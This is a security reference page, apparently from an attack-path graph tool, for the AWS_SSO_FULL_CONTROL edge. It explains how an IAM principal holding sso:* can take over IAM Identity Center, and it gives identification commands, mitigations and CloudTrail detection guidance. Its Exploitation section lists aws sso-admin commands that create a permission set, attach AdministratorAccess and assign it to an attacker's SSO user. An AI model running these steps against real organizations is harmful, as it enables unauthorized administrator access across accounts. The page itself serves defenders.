AWS_SSO_FULL_CONTROL

Summary

Forestall ACL Alias	AWS_SSO_FULL_CONTROL
Affected Object Types	AWSIAMUser|AWSIAMRole → AWSIdentityCenter, AWSPermissionSet, AWSSSOGroup
Exploitation Certainty	High
AWS IAM Action	sso:* or identitystore:* (full * is covered by AWS_FULL_CONTROL)

Description

Account gate: This edge is only emitted for IAM principals that reside in the Organizations management account or an IAM Identity Center delegated-administrator account (service principal sso.amazonaws.com). Principals in any other member account receive AccessDenied from all SSO Admin APIs regardless of their IAM permissions.

An attacker whose attached policies grant sso:* holds full control over the IAM Identity Center instance. That single wildcard covers every SSO Admin action. The attacker can create account assignments, rewrite Permission Set policies, and add members to privileged groups. Any one of those calls grants access across the organization.

This is the SSO-plane full-control edge. It is the sibling of AWS_FULL_CONTROL (*) and AWS_IAM_FULL_CONTROL (iam:*), one tier down into the SSO service. It is an umbrella edge: holding it means the attacker controls the whole Identity Center control plane, so it fans out to every object on that plane. It targets the Identity Center instance, every Permission Set, and every SSO group. It is deliberately not drawn to individual SSO users, because an SSO user is an endpoint, not a pivot, and no further attack path leaves it.

The edge type splits by capability so the same relationship is never drawn twice. A principal with full * (god mode) reaches this plane through the broader AWS_FULL_CONTROL edge and gets no AWS_SSO_FULL_CONTROL. A principal with sso:* or identitystore:* but not full * gets AWS_SSO_FULL_CONTROL. A principal that holds only specific SSO actions gets the granular SSO privesc edges (account assignment, Permission Set update, group member add, policy detach and delete) instead.

Read-only actions such as sso:DescribePermissionSet or sso:ListInstances grant no control and produce nothing. There is no sso-admin: IAM prefix. sso-admin names the CLI command group and the SDK client only, and every Identity Center IAM action lives under sso:.

Edge semantics: (Attacker:AWSIAMUser|AWSIAMRole) -[AWS_SSO_FULL_CONTROL]-> (Target:AWSIdentityCenter|AWSPermissionSet|AWSSSOGroup)

Precondition: none beyond the account gate. This edge covers the IAM to SSO direction of cross-domain escalation. The reverse direction, an SSO session assuming its provisioned IAM role, is AWS_SSO_ASSUME_ROLE.

Identification

# Confirm the principal holds sso:* over the Identity Center instance
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names sso:CreateAccountAssignment sso:AttachManagedPolicyToPermissionSet \
  --resource-arns "*"

# List the Identity Center instance the attacker can administer
aws sso-admin list-instances

# Inspect an attached policy for a wildcard sso grant
aws iam get-policy-version \
  --policy-arn <policy-arn> --version-id <version> \
  --query "PolicyVersion.Document"

PowerShell (AWS Tools):

Get-SSOAdminInstanceList

Exploitation

# Step 1: Assign an AdministratorAccess Permission Set to an attacker-controlled
# SSO user on a target account
aws sso-admin create-account-assignment \
  --instance-arn <instance-arn> \
  --target-id <target-account-id> --target-type AWS_ACCOUNT \
  --permission-set-arn <admin-permission-set-arn> \
  --principal-type USER --principal-id <attacker-sso-user-id>

If no administrator Permission Set exists, the same sso:* grant lets the attacker build one first:

# Create a Permission Set, attach AdministratorAccess, then provision it
aws sso-admin create-permission-set \
  --instance-arn <instance-arn> --name attacker-admin
aws sso-admin attach-managed-policy-to-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <new-permission-set-arn> \
  --managed-policy-arn arn:aws:iam::aws:policy/AdministratorAccess

The attacker then signs in through the Identity Center portal, selects the target account, and receives administrator credentials for it.

Mitigation

• Never grant sso:* to IAM users or roles. Scope policies to the specific SSO actions a principal needs.

• Use IAM permission boundaries so a principal cannot grant itself SSO control.

• Block the dangerous write actions (sso:CreateAccountAssignment, sso:AttachManagedPolicyToPermissionSet, sso:PutInlinePolicyToPermissionSet, sso:CreatePermissionSet) with SCPs except for a dedicated Identity Center administrator role.

• Keep the delegated-administrator account list short. Use the management account for break-glass access only.

• Enable Identity Center audit logging and alert on write actions called with IAM user credentials.

Detection

CloudTrail records Identity Center write actions under the sso.amazonaws.com event source.

CloudTrail Event	Description	Key Fields
CreateAccountAssignment	A principal was granted a Permission Set on an account	requestParameters.targetId, requestParameters.permissionSetArn, requestParameters.principalId, userIdentity.type
AttachManagedPolicyToPermissionSet	A managed policy was attached to a Permission Set	requestParameters.permissionSetArn, requestParameters.managedPolicyArn, userIdentity.arn
CreatePermissionSet	A new Permission Set was created	requestParameters.name, userIdentity.arn

Alert when any of these is called and userIdentity.type is IAMUser rather than AssumedRole from an SSO session. That pattern is the IAM to SSO lateral movement this edge represents.

References

• AWS Service Authorization Reference: IAM Identity Center (prefix sso)

• AWS IAM Identity Center: Delegated administration

• AWS SSO Admin API: CreateAccountAssignment

• HackTricks: AWS IAM Identity Center Privilege Escalation

• MITRE ATT&CK T1098: Account Manipulation